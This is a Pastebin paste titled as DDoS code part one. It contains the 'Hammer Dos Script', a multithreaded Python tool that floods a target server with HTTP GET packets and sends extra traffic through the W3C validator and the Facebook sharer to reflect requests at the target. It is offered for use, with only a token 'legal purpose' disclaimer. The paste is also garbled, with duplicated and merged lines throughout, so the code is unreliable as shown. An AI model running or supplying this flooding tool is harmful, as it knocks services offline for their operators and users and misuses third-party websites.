Advertisement
JKD_Jacker

[ Python ] Code DDOS ( Part 1 )

Dec 21st, 2015
13,210
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.89 KB | None | 0 0
  1. #!/usr/bin/python3# -*- coding: utf-8 -*-
  2. # python 3.3.2+ Hammer Dos Script v.1# by Can Yalçın# only for legal purpose
  3.  
  4. from queue import Queuefrom optparse import OptionParserimport time,sys,socket,threading,logging,urllib.request,random
  5.  
  6. def user_agent
  7. def user_agent():
  8. global global uagent
  9. uagent uagent=[]
  10. uagent.append("uagent Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14")
  11. uagent.append("Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:26.0) Gecko/20100101 Firefox/26.0")
  12. uagent.append("Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3")
  13. uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)")
  14. uagent.append("uagent=[]Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7")
  15. uagent.append("Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)")
  16. uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1")
  17. return( return(uagent)
  18.  
  19.  
  20.  
  21. def my_bots():
  22. global global bots
  23. bots bots=[]
  24. bots.append("http://validator.w3.org/check?uri=")
  25. bots.append("http://www.facebook.com/sharer/sharer.php?u=")
  26. return( return(bots)
  27.  
  28.  
  29.  
  30. def bot_hammering(url):
  31. try:
  32. while try: while True:
  33. req = urllib.request.urlopen(urllib.request.Request(url,headers={'User-Agent': random.choice(uagent)}))
  34. print( print("\033[94mbot is hammering...\033[0m")
  35. time.sleep(.1)
  36. except:
  37. time.sleep(.1)
  38.  
  39.  
  40.  
  41. def down_it(item):
  42. try:
  43. while try: while True:
  44. packet = str("GET / HTTP/1.1\nHost: "+host+"\n\n User-Agent: "+random.choice(uagent)+"\n"+data).encode('utf-8')
  45. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  46. s.connect((host,int(port)))
  47. if if s.sendto( packet, (host, int(port)) ):
  48. s.shutdown(1)
  49. print ( print ("\033[92m",time.ctime(time.time()),"\033[0m \033[94m <--packet sent! hammering--> \033[0m")
  50. else:
  51. else: s.shutdown(1)
  52. print( print("\033[91mshut<->down\033[0m")
  53. time.sleep(.1)
  54. except socket.error as e:
  55. print( print("\033[91mno connection! server maybe down\033[0m")
  56. #print("\033[91m",e,"\033[0m")
  57. time.sleep(.1)
  58.  
  59.  
  60.  
  61. def dos():
  62. while while True:
  63. item = q.get()
  64. down_it(item)
  65. q.task_done()
  66.  
  67.  
  68.  
  69. def dos2():
  70. while while True:
  71. item=w.get()
  72. bot_hammering(random.choice(bots)+"http://"+host)
  73. w.task_done()
  74.  
  75.  
  76.  
  77. def usage():
  78. print ( print (''' \033[92m Hammer Dos Script v.1 http://www.canyalcin.com/
  79. It is the end user' It is the end user's responsibility to obey all applicable laws.
  80. It is just for server testing script. Your ip is visible. \n
  81. usage usage : python3 hammer.py [-s] [-p] [-t]
  82. - -h : help
  83. -s : server ip
  84. -p : port default 80
  85. -t : turbo default 135 \033[0m''')
  86. sys.exit()
  87.  
  88.  
  89. def get_parameters():
  90. global host
  91. global port
  92. global thr
  93. global item
  94. optp = OptionParser(add_help_option=False,epilog="Hammers")
  95. optp.add_option("-q","--quiet", help="set logging to ERROR",action="store_const", dest="loglevel",const=logging.ERROR, default=logging.INFO)
  96. optp.add_option("-s","--server", dest="host",help="attack to server ip -s ip")
  97. optp.add_option("-p","--port",type="int",dest="port",help="-p 80 default 80")
  98. optp.add_option("-t","--turbo",type="int",dest="turbo",help="default 135 -t 135")
  99. optp.add_option("-h","--help",dest="help",action=' sys.exit()
  100.  
  101. def get_parameters(): global host global port global thr global item optp = OptionParser(add_help_option=False,epilog="Hammers") optp.add_option("-q","--quiet", help="set logging to ERROR",action="store_const", dest="loglevel",const=logging.ERROR, default=logging.INFO) optp.add_option("-s","--server", dest="host",help="attack to server ip -s ip") optp.add_option("-p","--port",type="int",dest="port",help="-p 80 default 80") optp.add_option("-t","--turbo",type="int",dest="turbo",help="default 135 -t 135") optp.add_option("-h","--help",dest="help",action='store_true',help="help you")
  102. opts, args = optp.parse_args()
  103. logging.basicConfig(level=opts.loglevel,format=' opts, args = optp.parse_args() logging.basicConfig(level=opts.loglevel,format='%(levelname)-8s %(message)s')
  104. if opts.help:
  105. usage()
  106. if opts.host is not None:
  107. host = opts.host
  108. else:
  109. usage()
  110. if opts.port is None:
  111. port = 80
  112. else:
  113. port = opts.port
  114. if opts.turbo is None:
  115. thr = 135
  116. else:
  117. thr = opts.turbo
  118.  
  119.  
  120. # reading headers
  121. global data
  122. headers = open("headers.txt", "r")
  123. data = headers.read()
  124. headers.close()
  125. #task queue are q,w
  126. q = Queue()
  127. w = Queue()
  128.  
  129.  
  130. if __name__ == ' if opts.help: usage() if opts.host is not None: host = opts.host else: usage() if opts.port is None: port = 80 else: port = opts.port if opts.turbo is None: thr = 135 else: thr = opts.turbo
  131.  
  132. # reading headersglobal dataheaders = open("headers.txt", "r")data = headers.read()headers.close()#task queue are q,wq = Queue()w = Queue()
  133.  
  134. if __name__ == '__main__':
  135. if len(sys.argv) < 2:
  136. usage()
  137. get_parameters()
  138. print("\033[92m",host," port: ",str(port)," turbo: ",str(thr),"\033[0m")
  139. print("\033[94mPlease wait...\033[0m")
  140. user_agent()
  141. my_bots()
  142. time.sleep(5)
  143. try:
  144. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  145. s.connect((host,int(port)))
  146. s.settimeout(1)
  147. except socket.error as e:
  148. print("\033[91mcheck server ip and port\033[0m")
  149. usage()
  150. while True:
  151. for i in range(int(thr)):
  152. t = threading.Thread(target=dos)
  153. t.daemon = True # if thread is exist, it dies
  154. t.start()
  155. t2 = threading.Thread(target=dos2)
  156. t2.daemon = True # if thread is exist, it dies
  157. t2.start()
  158. start = time.time()
  159. #tasking
  160. item = 0
  161. while True:
  162. if (item>1800): # for no memory crash
  163. item=0
  164. time.sleep(.1)
  165. item = item + 1
  166. q.put(item)
  167. w.put(item)
  168. q.join()
  169. w.join() if len(sys.argv) < 2: usage() get_parameters() print("\033[92m",host," port: ",str(port)," turbo: ",str(thr),"\033[0m") print("\033[94mPlease wait...\033[0m") user_agent() my_bots() time.sleep(5) try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,int(port))) s.settimeout(1) except socket.error as e: print("\033[91mcheck server ip and port\033[0m") usage() while True: for i in range(int(thr)): t = threading.Thread(target=dos) t.daemon = True # if thread is exist, it dies t.start() t2 = threading.Thread(target=dos2) t2.daemon = True # if thread is exist, it dies t2.start() start = time.time() #tasking item = 0 while True: if (item>1800): # for no memory crash item=0 time.sleep(.1) item = item + 1 q.put(item) w.put(item) q.join() w.join()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement